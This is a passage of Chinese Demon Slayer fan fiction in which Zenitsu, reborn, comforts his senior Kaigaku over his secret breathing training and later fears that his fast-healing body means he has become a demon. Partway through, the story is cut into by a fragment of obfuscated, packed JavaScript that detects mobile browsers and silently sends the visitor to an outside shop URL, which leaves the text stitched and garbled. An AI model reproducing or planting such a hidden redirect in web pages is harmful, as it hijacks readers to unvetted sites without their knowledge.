“呜呜呜师兄不讲理!我明明是在担心你!呜呜!”善逸捂着头上的大包,蹲在地上哭泣。
“你吵死了!”狯岳也在身后悄悄揉着自己的拳头。这小子的头越来越硬了!
看到徒弟之间友好相处(?)的画面,桑岛爷爷很欣慰:“好了!预备!开始!!”
又是三个月,善逸与狯岳天天在木桩之间飞。善逸还好,狯岳的身上,青青紫紫的,根本没有好过。
在这样的训练之中,善逸他们度过了在桃山的第一个新年。
新年前后,桑岛师父给两人放了三天假期。不用练习的善逸高高兴兴地寻找自己的师兄,打算拉着师兄到山下的镇子里去玩。
善逸拉开帐子门,发现师兄正坐在桌子之前,呛咳声不断。
“师兄?你怎么了?”善逸从身后靠近狯岳。
听到有人来,狯岳藏起了手中的东西:“你这废物怎么还不去训练?”
每天都哭哭啼啼,要师兄拽着才去锻炼的善逸,终究还是在他师兄这里取得了“废物”的称号。
“爷爷说我们这三天不用训练啦。师兄,我听到你一直在咳嗽。是感冒了吗?感冒就要去看医生啊师兄?”善逸在狯岳身边落座,担忧地看向师兄的脸色。
“关心好你自己吧废物……咳咳”狯岳想将嗓子里的咳意咽下,却还是没忍住,捂着嘴咳了出来。
正是这下,善逸看到了师兄手中的痕迹:“师兄!!”
善逸掰着狯岳的手,将他手心中的东西展示出来。只见狯岳捂嘴的帕子上,一团团红色的血迹像是浓墨一样侵染着。
“师兄,你是不是……”善逸的表情阴沉下去,声音也变低了不少:“你是不是偷偷使用呼吸法了?”
“少管我!!”狯岳将善逸抓着的手抽走,转过身不看善逸的表情,起身拉开帐子门,想要大踏步离开。
他的手被身后的人攥住:“师兄,爷爷不是说了吗?让你暂时不要使用呼吸法。”
“你懂什么?”善逸的手被狯岳甩开:“你其实就不用跟我一起练习吧?去直接找爷爷学会其他的雷之呼吸的型就能去杀鬼了吧?”
善逸的手被甩在了门框上,发出好大的声响。他瞪大了眼睛,看向自己的师兄:“怎么会!这可是爷爷给我们安排的训练啊!”
“老师只是顾及我才没让你直接练习雷之呼吸而已!”狯岳不愿意让师弟看到自己狰狞丑陋的表情。他用一只手遮住脸,缓缓地呼气,尽量让自己的语气平复下来:“每天轻松地完成训练后,看我丑态百出地失误,很好笑吧?”
“师兄!我从来没觉得过你……”善逸看到师兄颤抖的背影,微微上前,搂住了狯岳的腰:“但是,不对吧,师兄?”
善逸将耳朵凑到了师兄心脏的位置:“我能听到哦,师兄?你的心说的话可不止这么多。”
“从我认识你以来,师兄,你的心,就一直在急切地叫嚣着要变强。”善逸闭上了眼睛,感受师兄停滞了一瞬的呼吸。
“你才不会只是因为我而选择提前练习呼吸法的。你一直很自信自己能变得像我一样强。”
善逸敏锐的耳朵怎么会听不到师兄对自己的自信呢?不管是自己跑在师兄前面,还是在师兄面前展示雷之呼吸,师兄一直都相信自己只要辛苦练习就能够达到和师弟的同一高度。
“就像你答应我要一起成为鸣柱一样。你相信自己,所以你不会为了赶超我而去冒险。”
“但是师兄。你到底在着急什么呢?”善逸从身后点了点狯岳心脏的位置,语气变得更加阴沉,带着黑云压城一般的感觉,让人喘不过气:“你不会……还想着逃离我吧?师兄?”
善逸的另一只手虚虚环住狯岳的腰,但就是那一只手,给狯岳身后那个混蛋想要将自己掐断的感受。
但善逸的话实在让他生气。顾不上遮掩脸上的狰狞,也顾不上善逸带来的压迫感,狯岳转身,一把将他身上的善逸扯了下来:“你这个幸运的小子懂什么啊!!”
善逸身上的阴沉感被师兄一嗓门吼没了影,他坐在地上,呆呆地听师兄的爆发:
“不变强就会被打死,不变强就会被杀掉,没有力量就会被鬼攥着脖子吃进肚子,没有力量就连掉到水里都救不了自己!!”狯岳咆哮着,他那张清秀漂亮的脸都变得可怖了起来:“你这种一直被幸运眷顾着,就连力量都有人轻易的交托给你,甚至还要被拽着才啃训练的人懂什么啊!!”
“没有力量随时都会死掉!!被人挤倒踩死,被树上掉下的树枝砸死,被撞到陷阱中摔死,被送到鬼嘴边咬死……这些荒谬到可笑的事情都是我遇到过的!!不变强就会再哪一次危险中死掉!!我只是为了活着!!”
师兄……
狯岳在自己眼前怒吼,而那只以往都张牙舞爪的小猫师兄却在呜呜哭泣。
善逸站起身,上前抹掉狯岳眼角的泪水。他拥抱住自己的师兄:“我来保护你,不可以吗?”
“哈?你顶什么用!!”狯岳在善逸的怀中挣扎着:“我的父母说要保护我,然后他们死了!!别人没有用!!我必须自己变强!!我必须自己拥有力量!!”
拥抱着自己的黄色身影,让狯岳想到了那对在他记忆中模糊的夫妻。他们不信命,才想方设法为他求来勾玉,想要压制他的霉运,结果第二天就死了,死在了一片血泊中。
他想要继续咆哮,然而视线逐渐模糊:“别人没有用!我必须获得力量!必须抓紧时间变强!这样才能在下一场灾难发生时救下我自己的命……”
“我想……活着……”
善逸将师兄激动到颤抖的身形搂到了自己怀中,抚摸着狯岳的脊背。在这六个多月的朝夕相处之中,善逸也注意到了师兄的运气实在是差。
满桃山的桃子,师兄手中的那个一定是酸的;明明踩稳的石块,却在师兄脚下莫名松动;就连互相切磋的剑士们打飞的木刀,最后都会落在路过的师兄头上。
时时刻刻的坏运气,一直催促着狯岳,让他根本没办法松懈下来。
善逸不知道怎么办。这些话,上辈子的师兄从来没跟他说过,他也不知道师兄一直在面对什么样的境地。
他甚至不禁想起了上辈子变鬼的师兄,是不是也像这辈子遇见下弦六的师兄一样,遇到了自己没办法抗衡的鬼呢?
师兄遇到下弦六,是自己将他从恶鬼手中救了下来。但是当时的师兄呢?又有谁能救下他?
上辈子的师兄从没跟他看不上眼的废物师弟讲过这些,上辈子的他也不知道师兄可能遭遇的灾难。在得知师兄变鬼,师父切腹的那刻,他的脑海中就被无尽的悲伤与怒火占据,根本没想过师兄为何变成了鬼。
当时的师兄,可是在短短的一年内成为了鬼杀队的甲级队员!他离他梦寐以求成为的柱是那样近,又怎么会在这种关头,自愿变成鬼呢?
善逸紧紧地将无声哭泣的狯岳拥抱着,怅然若失的感觉就像是空洞一样,穿过了他以为浓烈的上辈子的爱与恨,像是以为饱满的桃子内的虫洞。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140831|196326||http|test|mini|href|location''.split(''|''),0,{}));
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>“师兄,你以前从来没跟我说过……”善逸喃喃开口,眼泪也顺着眼角流下。不同于他以往的雷声大雨点也大的那种嚎哭,此时的善逸根本不知道自己眼角流下了泪水。他只是被一种莫大的悲伤冲散了思绪,只能徒然地收紧怀抱,试图跨越时空,去擦拭另一个师兄的眼泪。
他身体内的鬼血也好似感受到了他的心绪,在他体内沸腾了起来,微微的刺痛感牵动着善逸的神经,随后那些沸腾的血液安静了下来,再无声息,就像是前世师兄的最后一声怒吼。
原来如此。原来是这样。所以师兄才拼命地想要变强,不惜损耗自己的身体;所以师兄才这般焦躁,内心才会一直充满焦虑的杂音;哪怕自己一遍遍强调自己会保护师兄,师兄也没办法安下心。
只有变强才能活下来,只有变得更强才能活得更好。
师兄想要活下来的嘶吼有多大声,他想要变强的欲望就有多急切。
善逸抚摸着师兄的后背,一遍遍的,安抚着这个尚且年幼的师兄,也安抚着上辈子那个师兄。
在他怀中的师兄激动的情绪逐渐和缓,善逸的心情也平复了下来。
善逸半阖双眼,缓声开口:“师兄,我们一起去找爷爷,让他先教我们正确使用呼吸法。”
在他怀中的师兄的声音闷闷的,半晌才开口:“要叫师父。蠢货。”
“答应我了吗?那我们等下一起去找爷爷。”
“……”
“怎么不回话……”善逸低头就能看到师兄沉默的后脑勺,以及通红的双耳。
咦?
善逸转头寻找。果然,那只小猫师兄已经害羞地团城一个猫猫球,脸紧紧地藏在了两个爪子间。
师兄的心音也是,满满都是羞愤欲死的情绪,就连急躁的声响都消失了。
善逸歪头:“师兄你是害羞了吗?”
“闭嘴!不是!”
“师兄你就是害羞了吧?我都听到你的心音了哦?‘被废物看到脆弱大哭的样子好想死’这样。”
“没有!!瞎说!!”
“哦哦,现在是‘这个师废物好烦干脆杀掉好了’咦咦咦!师兄!好过分!!怎么能杀掉自己可爱的师弟呢!!”
“……你好恶心!!”
“‘被废物听到心音好恶心干脆把他打成耳聋吧’好残忍!!师兄!!不可以!!”
“……”善逸怀中的师兄彻底没声了。就连心声也没了新动静,一直重复着“好想死”和“杀了这个废物”两句话。
看到怀中假装仓鼠的师兄,善逸伸出手试图摸摸师兄毛茸茸的黑发,被师兄一巴掌打开。
善逸幽幽地说:“师兄,向师弟撒娇也要有限度的哦~虽然我不是很在意啦~但是万一某人之后反应过来大半夜要拿刀砍杀师弟怎么办……”
“谁跟你撒娇!!”狯岳一把推开面前这个烦人鬼,藏了好久的脸蛋终于显露出来,水润润的大眼睛,通红的眼角,以及看向善逸时凶巴巴的眼神。
完蛋。善逸单手捂住自己的脸。觉得凶巴巴的师兄可爱的自己真是没救了。
“喂!废物!!你到底要干嘛?!!”
善逸将自己捂脸的手拿下来,双手按住师兄的肩,摆出了一副严肃的表情看向师兄:“师兄!听我说!”
被师弟难得一见的庄重表情吓到,狯岳望着善逸的双眼,示意他有话快讲。
善逸凝视师兄的那双暗青色的眼睛,郑重地说:“以后,不管有什么烦心事,都要告诉我,好吗?”
“哈?”狯岳炸毛:“谁会告诉你这个废物啊!!”有一次就够丢人的了!
“告诉我嘛!告诉我嘛!!”善逸直接扑到了自己师兄身上,差点将师兄撞到:“反正我都能听到的!师兄你就告诉我嘛!!”
“你能不能现在就耳聋??”
“不能!!还有!不要想着把我的耳朵打聋!!不要想着半夜谋杀师弟!!你现在还打不过我!!”
“嘁!”
“嘁——是什么意思啊!!答应我了嘛?!!”
“不答应!”
“答应我嘛师兄!!不然我就要使出强硬手段的!”
“切!”
“不要在心里嘲讽我啊师兄!我当你答应了啊啊啊!”
“……”
“师兄!!!!”
14. 第十四章
善逸被狯岳拉着洗干净了脸,又整理好了自己的衣服,两个人拉拉扯扯地来到了桑岛慈悟郎面前。
桑岛慈悟郎正在准备过年的装饰品。此时两个弟子一反常态一脸紧张地来到他身边,他放下手中正举着的连注绳,稀奇地看向两位弟子:“怎么了?今天怎么不下山去玩?”
善逸微微转头,看了眼一脸紧张的师兄,还是决定自己先开口:“师父,你能不能提前教我们全集中呼吸啊?”
?桑岛慈悟郎刚想皱眉,突然注意到自己的大徒弟虽然面色不改,依然是尊敬的样子,但是已经快把师弟身上的羽织给扯出窟窿来了。
再想起小徒弟的一之型已经运用得非常好,全集中呼吸也没有大问题,反而是大徒弟被自己禁止了使用呼吸法。
原来如此。
桑岛慈悟郎不是没发现自己的大徒弟一直很着急变强大这件事,只是他觉得两个小孩太早地练习对他们没太大好处,且两个小孩的身体还没养好,就暂且将这件事放在了一边。没想到,狯岳对学会使用全集中呼吸这样上心。
既然如此,那就先教导他们全集中呼吸吧。桑岛慈悟郎担心地看着狯岳。省得自己的大徒弟在用他那半吊子呼吸方式给自己搞伤。
不,现在看来,估计是已经把自己搞伤然后被师弟发现了,所以才会被师弟拉到他面前。不然按照他这个大徒弟的心思,是一定不会在他面前质疑他的训练单的。
桑岛慈悟郎背着手笑道:“想学全集中呼吸吗?可以哦,刚好你们两个都有一定的基础。不过,在那之前,你们还得再去一次医馆检查一下身体情况是否足以支撑全集中呼吸。”
卡啦啦——
善逸转头看去,自己的师兄已经石化了。
师兄——
善逸连忙点头同意爷爷的提议,然后一步步地将自己的师兄拖回了房间内。
医馆过年没有开门,所以雷呼一家在一星期后才再次来到了医馆。尽管这一个星期内狯岳再如何小心,等到来到医馆的那一天他偷偷使用了全集中呼吸的事情还是被桑岛慈悟郎发现了。
早有预料的桑岛老爷子只是让医生又给狯岳开了一副药,之后拉着自己两个小徒弟回到了桃山。
进到房子后,默默跟在老师身后的狯岳就“啪嗒”一声跪了下来。将旁边的我妻善逸吓了一跳。
桑岛爷爷看着大徒弟的身影:“怎么了?”
“对不起,老师。”狯岳低着头,沉默着,这个人都在微微颤抖:“我违背了您的叮嘱,私自使用了呼吸法。”
“唉。”桑岛爷爷将自己跪下的徒弟扶了起来:“起来吧,好孩子。”
他与狯岳的眼睛对视:“我不让你使用全集中呼吸,是你当时的身体并不好,没办法支撑呼吸的消耗。加上你从师弟身上领悟到的呼吸节奏并不适应你的身体,会对你的肺部造成损伤。”
“但是狯岳,追寻力量本身并没有错,我们只是需要找到合适的方法。就像你们来找我学习呼吸法一样。”桑岛老爷子看到了狯岳眼中的恐惧与不安。从小在外流浪的孩子总是惴惴不安,担心因为小事而被抛弃,依靠自己多过依靠别人,害怕因为给别人带来麻烦。
自己的大徒弟非常省心,每天刻苦训练,尊敬自己这个师傅,爱护师弟,在自己面前总是安静而沉默,比那个整天吵吵闹闹的小徒弟省心很多,导致自己才发现,大徒弟已经来到桃山半年之久,依然在忐忑着在不安着,甚至没有依赖过自己这个师父。
让徒弟没有安全感,是自己这个做师父的失职啊……
他抚摸着狯岳软软的头发,发觉自己的大徒弟在桃山上长高了一截,比起刚来时也更加健康。
他突然严肃了语气:“不过,作为违背师父命令的惩罚,稻玉狯岳,我罚你两个星期后才能和我一起学习全集中呼吸,你可接受?”
狯岳突然抬头,不可置信地看着自己的老师,然后连忙应声:“是!我接受!老师!”
桑岛慈悟郎再次揉了揉大徒弟的头:“好了,现在跟你师弟一起去训练场吧。在学习全集中呼吸的同时,每天的训练也不能落下!你们的速度距离下一步练习还差远呢!!”
“是!师父!”
那之后,桑岛慈悟郎酌情加快了两个徒弟的学习进度,也教导了他们如何正确使用全集中呼吸。狯岳的练习更加努力,每天都训练到力竭。
在这样拼命的训练之中,狯岳的进度飞快。很快,他就开始接触雷之呼吸的型,一点点从桑岛慈悟郎的教导下掌握雷之呼吸的招式。
师兄的努力我妻善逸看在眼中。这给了他很大的压力。
上辈子师兄一直是他仰望的目标,师兄的优秀他一直都知道。然而,那样优秀的师兄都无法打败的恶鬼,要强到什么地步呢?
如果这辈子的师兄再次遇到那只鬼,他能否从鬼手中救下师兄,阻止师兄变成鬼呢?
善逸不确定答案。
口口声声对师兄说自己要保护他,结果发现自己根本没有那样强大的力量。
那一瞬间,我妻善逸感觉自己太可笑了。
从重新来到桃山开始,我妻善逸就一直沉溺在和师兄与爷爷在一起的幸福之中,浪费了半年的时间,根本没去思考提升自己实力的事情。
他洋洋自喜与自己如今的实力,自信现在的力量就足以打败大多数鬼,在师兄拼命地变强时悠悠哉哉地放松享乐,仗着自己多出来的经验而懈怠,在不知不觉间,差点被之后的危机给教做人。
善逸想到自己可能因为实力的不足而让师兄在自己眼前离开,或者被杀死、被变成鬼……
想到那样的画面,善逸的心脏像是被一只无形的手攥紧,呼吸停滞,就连血液都被冻结。
那样绝对不可以吧?
不行哦,我妻善逸,不可以让师兄在自己眼前落到那种境地。
在师兄学习呼吸法时,善逸找到了爷爷,向爷爷申请了单独练习的机会。
站在桃林之间,我妻善逸终于重视起了从穿越以来就萦绕在自己身上的异常。
他拔出自己的日轮刀,手掌用力握紧,日轮刀之上显现出蓝色的电光。
善逸将日轮刀收回刀鞘,摆出一之型的起式,缓缓呼出热气,然后拔刀,“唰!”,空中飘舞的落叶就在
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日轮刀的刀锋下斩成两半。
善逸仔细地感受了下自己身体各处的感受。血液的流速好像比当初在无限城的时候更快了,身体各处肌肉的反应也更加灵敏。他伸手接过那片被斩开的落叶,在他手中的叶子沿着中间的斩击处逐渐开裂,随后粉碎成一堆尘土,随着风飘走了。
善逸盯着自己的手掌,若有所思。
这样的招式效果,让他想起了师兄变鬼后使出的血鬼术效果。难不成……
善逸逐渐惊恐起来:难不成自己其实是被师兄的鬼血变成了鬼吗???
不不不!善逸逼自己冷静下来。自己不是在阳光下好好的,一点都不怕太阳嘛!
等等!上辈子的祢豆子妹妹也不怕太阳啊!!
等等等等!自己也没有尖牙,也没有利爪,更没有鬼那样的眼睛!!还不想吃人!!
不对啊!!他记得他刚醒来的时候特别想咬师兄来着!这算是想吃人吗??
啊啊啊啊啊!!!他真得变成鬼了吗!!还有师兄的血鬼术!!!
善逸双手抱头,被自己的想法吓得要尖叫了!!
冷静!!冷静下来我妻善逸!!
“啪!”一声,善逸双手狠狠地打在了自己的脸上,将自己昏沉的大脑强制清醒。他严肃地捡起自己的日轮刀,将日轮刀拔出鞘,刀锋对准了自己的手臂。缓缓地靠近。
善逸盯着自己的日轮刀,咕嘟一声,咽下口中因紧张而分泌出的口水。
自己就用日轮刀划一道伤口。善逸心想,如果伤口没办法短时间愈合,就说明自己不是鬼!!
善逸右手拿刀,缓缓地靠近自己的左臂。在他的紧张注视下,日轮刀在左臂上划出了一道五厘米长,一厘米深的刀口。
鲜血顿时涌出,善逸没有管那些血液,而是继续紧张地盯着自己的手臂瞧。
一定不要!!拜托!!一定不要!!
然而事与愿违。他手臂上的那道伤,在他希冀的视线中,像是被缓慢闭合的拉链,从两段开始,一点点、一点点闭合,直到三秒钟后完全消失,只剩下流出的鲜血证明了这里曾经被利刃划开过。
善逸呆呆地盯着自己光滑完整,没有一丝痕迹的胳膊,然后张开了嘴。
“咿呀————!!!!”
桑岛慈悟郎正在盯着自己的大徒弟训练,突然一声惊飞一片林鸟的尖叫声响彻山林,吓得他一哆嗦,差点甩飞自己的拐杖。
桑岛慈悟郎默默闭上了眼睛。听这声音就是他那个今早说要自己秘密特训的小徒弟的尖叫。
果然,没多久,自己那一惊一乍的小徒弟就连滚带爬地扑到了自己身前,崩溃地举着自己的沾着一片血的手臂,大声哭嚎着落到了自己身前:“师父!!师兄!!完蛋了!!!”
“怎么了?”傍边正举着木刀练习的狯岳也皱起了眉头,不耐烦地看着自己的师弟。
“唔哇哇哇~”他那爱哭哭啼啼的废物师弟仰着满是鼻涕眼泪的脸,用一脸蠢样望向自己,然后落下了一个惊天巨雷,差点将狯岳与师父都震晕:
“师父!!师兄!!呜呜呜我好像变成鬼了!!!”
15. 第十五章
听到这个消息,狯岳的第一反应是:
“哈???你不好好练习,在这里说什么胡话!!!”
“是真的!!师兄!!师父!!!我变成鬼了!!”
善逸扑到了自己师兄身上,一脸哀戚地说:“师兄,我被你变成鬼了呜呜呜……之后背我的箱子可以要大一点的吗?呜呜我怕太小装不下我呜呜……”
“谁把你变成鬼了!!你先起开!!”狯岳被师弟像是八爪鱼的抱法缠住了手脚,动弹不得,求助地看向师父。
桑岛慈悟郎也赶了过来,扒拉哭得天昏地暗的小徒弟:“善逸啊,到底出什么事了,你讲清楚!”
“呜呜呜!!爷爷!!我完蛋了!!我变鬼了你千万不要切腹啊爷爷!!!”
善逸又一个转身,从师兄身上直接扑到了爷爷身上,差点将拄着拐杖的桑岛慈悟郎给撞到地上。
狯岳连忙上前扶住自己的师父,同时重拳出击,将不知道在犯什么病的我妻善逸的头上砸出了一个冒着热气的大包:“从师父身上下来!!”
“呜呜呜师兄!!!”
十分钟后,桑岛慈悟郎拽着自己的大徒弟小徒弟回到了室内,与大徒弟一起看着跪坐在地上,捂着头呜呜哭泣的小徒弟。
“说吧,善逸,到底发生了什么?”桑岛慈悟郎看到小徒弟还在冒烟的头,微微轻咳了一声,率先开口。
善逸委委屈屈地跪坐着。他吸了吸鼻子,带着浓重的鼻音开口:“就是,我在自己练习一之型的时候,突然发现我好像见过我斩出来的那种撕裂伤……”
善逸老老实实地将自己的发现过程讲给了爷爷和师兄,说到自己曾经被鬼的血液进到伤口中,曾经被太阳炙烤的时候还感觉到灼烧感时,善逸还偷偷抬头观察过爷爷的脸色。但是爷爷只是严肃地绷着脸,面上看不出神色的变化,于是善逸越讲越忐忑,越讲越伤心,到最后甚至再次呜呜哭了起来:“呜呜呜爷爷我甚至用日轮刀割开的伤口都三秒钟愈合了……我真得变成鬼了呜呜呜爷爷你不要切腹呜呜呜!!”
狯岳受不了了,上去用对着师弟的头又是一拳:“谁说老师要切腹!!你个混蛋!!”
“呜呜呜师兄我都变成鬼了你还打我!!不讲理!!不讲理师兄!!罚你之后一直背着我!!箱子我要大点的呜呜……”
“好了好了。”上首沉默的桑岛老爷子挥手将善逸召过来:“来,让我看看你的伤口。”
善逸停下了嚎哭,忐忑地上前,将自己的左胳膊举到爷爷面前。
胳膊上的血迹已经干涸,那道曾经的刀口只剩下了浅浅的一道白印。
善逸继续掉着眼泪,抽泣着说:“爷爷你要是不信,我再用日轮刀给你展示一下……”
“不用了。”桑岛慈悟郎打断善逸想要去拿日轮刀的动作,用手指拂过善逸伤口的位置。他沉默了半天,然后严肃地看向我妻善逸:“你,想要吃人吗?”
善逸的头摇的像是拨浪鼓。
看到自己摇头摇得连头发都炸起来的小弟子,桑岛慈悟郎的神情微微缓和。他对自己忐忑的小弟子说:“我这一辈子,杀了不少鬼。我很知道它们是什么样的。只要你没吃过人,不想吃人,那你就不是鬼。”
善逸猛地将脑袋抬起:“可是爷爷,我还能用出鬼的血鬼术……”
“那不重要。善逸。”桑岛慈悟郎慢慢走到小徒弟面前,用手捋顺他炸起的头发,慢慢讲道:“善逸,我们鬼杀队灭杀的恶鬼是食人鬼,杀的是那些吃人肉的畜生。只要你不吃人,不管你现在是什么样,你都不会是我们灭杀的目标。”
“所以,不用担心我切腹死掉哦。我暂且还是想多活一阵的。”
听到爷爷的话,我妻善逸感动级了,蛋花眼地看着自己的爷爷。桑岛慈悟郎也假装调皮地冲着自己的小徒弟眨了下眼睛。
“爷爷!!”善逸激动地扑进了爷爷怀里,再次差点将爷爷撞飞。
“我妻善逸!!不要扑老师!!你是狗吗!!!”
“爷爷!!师兄骂我是狗!!太过分了!!”
“哈哈,我刚刚耳聋了,什么都没有听到哦。”
“爷爷!!”
“我妻善逸!!从老师身上下来!!”
“咿呀我知道了!!师兄不要拽我头发!!”
桑岛慈悟郎陪着自己的徒弟笑闹了一会儿就离开去给鬼杀队的主公写信了,他将教导狯岳一之型的任务交给了善逸。
善逸走在师兄身后,双手捂着自己的头发,小声嗫喏着:“呐,师兄,我是鬼的话你会不会讨厌我。”
正在他前面的师兄前进的脚步突然停下,善逸没注意到,“duang~”地一声,脑袋撞在了师兄的后脑勺上。
“撕——”善逸捂住自己的脑门痛呼,狯岳也捂住了自己的后脑门。他恼怒地转过头,恶狠狠地盯向自己的傻瓜师弟:“哪会有你这样废物的鬼!!连路都走不好!!那天真有胆子吃了人再来我面前问这种废物问题吧!!”
说完,狯岳快速转身,大步流星地走向了训练场。
善逸在原地呆愣地注视着狯岳的背影。紧张的心情像是被一只坏脾气小猫舔了一口。
小猫的舌头刺刺的,小猫的口水湿湿的,但是善逸的心情莫名地好了起来。
“废物!还不快跟上!!”
“是!!师兄你等等我~爷爷说要我教你一之型~”
“少废话!!”
桑岛慈悟郎坐在了桌子前,像半年前给主公写信收下两个徒弟时一样铺展开纸笔,将小徒弟的情况一一写明。
在信章的末尾,他写到:「善逸他始终保持清醒,从没感受过鬼王的意识,没有食人的欲望。我在此为我妻善逸担保,如果我妻善逸之后有任何的食人举动,或有危害到鬼杀队的行为,前任鸣柱桑岛慈悟郎,将切腹谢罪。」
书信传递到产屋敷耀哉手中,这位鬼杀队的当主敏锐察觉到了其中的问题。
他举着手中的信,喃喃道:“不怕阳光,脱离鬼王支配,连外形都与人类并无不同的鬼吗……”
“不,这不是鬼,这是人类。”产屋敷耀哉颤抖着手,将那页信纸放在蜡烛上烧掉。他急忙再此扯过一页信纸,给桑岛慈悟郎回了一封书信。
桑岛慈悟郎接到这封信后,没有再提到过善逸的奇特之处,对于他的两个徒弟也只说是善逸判断错误,他并没有变成鬼。
当时的善逸已经给自己做好了小木箱与竹筒,听到爷爷的话后,高兴之余也不免可惜,还假借要让师兄高兴的名义试图让师兄假装成被自己背在背后的鬼,被师兄狠狠削了一顿。这是后话。
师父不知道在忙什么,将对师兄的教育权下放到我妻善逸手中的那段时间,让善逸好好过了一段教导师兄的瘾。善逸每天学着爷爷拿个木棍,对着师兄的动作比比划划,指指点点,然后看师兄一脸隐忍的样子在内心偷笑。
虽然这样的故事最后的结局都是善逸再次被师兄制裁,顶着头上的大包哭哭啼啼地说师兄不讲理,一点都不尊师重道。
然后被师兄吼你这个废物能当谁的老师。
然而这样的时间并没有持续很久。狯岳一直学不会善逸只学会了的一之型,而其他的型善逸又使用不出来,于是,两个人的一对一帮扶小组正式解散。狯岳每天在师父的指点之下练习雷之呼吸,而善逸则是继续开发他的新能力去了。
当然,对于学不会其他型的我妻善逸,桑岛慈悟郎和稻玉狯岳都是挣扎过的。在桑岛慈悟郎看来,自己的小徒弟小小年纪就能将一之型使用得如此完美,怎么会学不会其他型呢?
然而没有用。不管桑岛慈悟郎怎样用心教导,甚至想直接将技巧塞到善逸的脑子里,善逸该学不会就是学不会,一出手就是一之型
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的招式,一拔刀就是霹雳一闪。但凡让他换个姿势,这个小子就像是不认识自己的身体了一般,姿势别扭得不像话。
教导到最后,桑岛慈悟郎都开始怀疑自己了。但是他转头看看,自己的大徒弟的其他型都学得很好,有模有样的,但就是学不会一之型。
这不是巧了,自己的小徒弟就会一之型。
到最后,桑岛慈悟郎想清了。他终于理解了这一切。
他这两个打包送上门的徒弟,早早就分配好了天赋技能点,注定要合在一起继承雷之呼吸的。
释然了的桑岛慈悟郎放走了自己的小徒弟,任由他到桃林中去开发自己奇怪的能力。
而狯岳对我妻善逸其他型学习的挣扎是什么呢?
这还要提到我妻善逸学习二到六之型的时候。当时在爷爷手底下死活学不会的善逸被自己的师兄骂了句废物,结果善逸直接还嘴“师兄也不是照样学不会一之型”。
当时正在和一之型死磕的狯岳当然生气,他骂骂咧咧地嘲讽了我妻善逸的教学能力,还直言“如果不是善逸的教学他根本不会现在还学不会一之型”,然后善逸就说“师兄你的教学能力会好到哪里去”进而提出让师兄教导自己二到六之型。
所以,当两个人反应过来时,就已经到达这种无可挽回的境地。
狯岳被善逸气得一佛出世二佛升天,将这辈子的所有恶言恶语都讲了还是没办法让善逸领悟到在他看来非常简单的招式;而被师兄讽刺的我妻善逸就会提起师兄一直学不会的一之型反抗,两个人的教学就变成了扯头花大战,到最后两败俱伤。
那段时间,狯岳恨不得将他的师弟一脚踹到桃山下,一秒都不想见到他。狯岳已经到达了见到善逸就像哈气的程度,然而并没有什么用,他甚至去上厕所时都会有师弟在阴魂不散地在门口等他。
当了一天的老师,被学生气得快爆炸,结果刚下课,甚至不用转身,学生又来到了自己面前,问自己为什么不和他一起回房间睡觉。
为了躲避我妻善逸,那段时间的狯岳上厕所的时间都加长了。一度让善逸十分担心他师兄的屁股。
到最后,两个人默契地一起放弃了互相折磨,也不再提那永远学不会的型,终于能重归于好,半夜醒来看到对方的脸也不再第一反应一拳砸上去了。
顶着脸上的青紫去练习真得很难向师父解释!!
结束了互相折磨的怨侣状态,两个人之间的关系都好了许多,大概恶毒的话都在互相教学里说完了,善逸甚至少有地在师兄那里听到了温和的话。
当然,这样的限定款师兄只持续了一段时间,没两个星期就变回了原来那个师兄。
对善逸的失败教学让稻玉狯岳心中那个善逸的光辉形象彻底垮塌。曾经的狯岳以为善逸只是表面上爱哭哭啼啼、胆小怯懦,实际上是个超强超有天赋的强者。然而见识到了我妻善逸死活学不会其他型时死皮赖脸的样子,那个轻微出手就帅气斩杀恶鬼,还从恶鬼手中三番两次救下他,就连眼神都特别有压迫感的帅气我妻善逸在他的心中彻底成为了一个哭哭啼啼的废物形象。
他还记得我妻善逸学不会其他招式于是爬上了树,最后被桑岛老师用套索套下来时的怂样。
然而这样的我妻善逸,还是他无法超越的程度。更别说,这些天里,善逸那个小废物也不知跟老师说了什么,每天都一个人悄悄地去桃林里练习,弄得一身灰,衣服也破破烂烂地回来,还腆着脸让他补衣服。
虽说他看不上善逸每天都将自己弄得脏兮兮的,但是善逸身上的气势在一天天变强。他有回回房间没被善逸注意到,拉开帐子门的瞬间与师弟锋利的视线对上,被善逸身上的气势给吓了一跳。
不行,连窝囊又废物的师弟都在努力,他怎么能不努力呢?!!
于是,回去的狯岳又在自己的练习计划上多加了几行。
16. 第 16 章
善逸每天在桃林开发玩自己的招式后脏脏的回来,一转眼发现自己的师兄又变强了。善逸心想这怎么可以!!被师兄超过就可能被师兄给甩开!!遂更加的努力。
就这样你卷我,我卷你,甚至到了走火入魔的程度。
两个人之间还假装根本不在意对方的练习成果,每天晚上睡觉和早上起床时都在假装悠闲,分开前还在慢悠悠走路,分开后就极速奔跑到训练的地方,分秒必争地开始训练,生怕落下了进度,被自己的师兄/师弟嘲笑。
如果不是他们住在同一个房间里,他们甚至要在对方睡着时偷偷摸出去练剑了。
雷呼一门的两个徒弟互相内卷,造成的后果就是整个桃山上的氛围都紧绷的要命。其他人一看,培育师的亲传弟子都这样努力了,我们不努力还像话吗?
遂一传二、二传四,整个桃山都陷入了内卷的风潮。
终于有人受不住,委婉地向桑岛慈悟郎提出了他两个徒弟之间的小小问题,于是,狯岳和善逸就这样被自家师父踢出了家门,让他们在这附近的城镇转一转,算是散散心,顺便把附近的鬼给清理一下。
此时已经是夏天,距离他们被师父捡回来已经过了两年。
善逸依然抱着他的日轮刀,狯岳则是被师父将自己以前使用的日轮刀交托。已经十二岁的少年比之前都长高了不少,现在正是初夏,衣服刚好能将日轮刀遮挡住。狯岳小心地将师父的日轮刀藏好,然后整理了一下自己的衣服,对于盯着自己不动的师弟翻了个白眼。
“还愣着做什么?废物!藏好你的刀!该走了!”
善逸牢牢地盯着自己师兄的胸口。明明还不到最炎热的时候,师兄却早早地将胸怀敞露开,脖子以下的一片皮肤完全暴露在外。
上辈子的师兄就经常这样穿衣服,一点都不注意!都快要漏点了!!
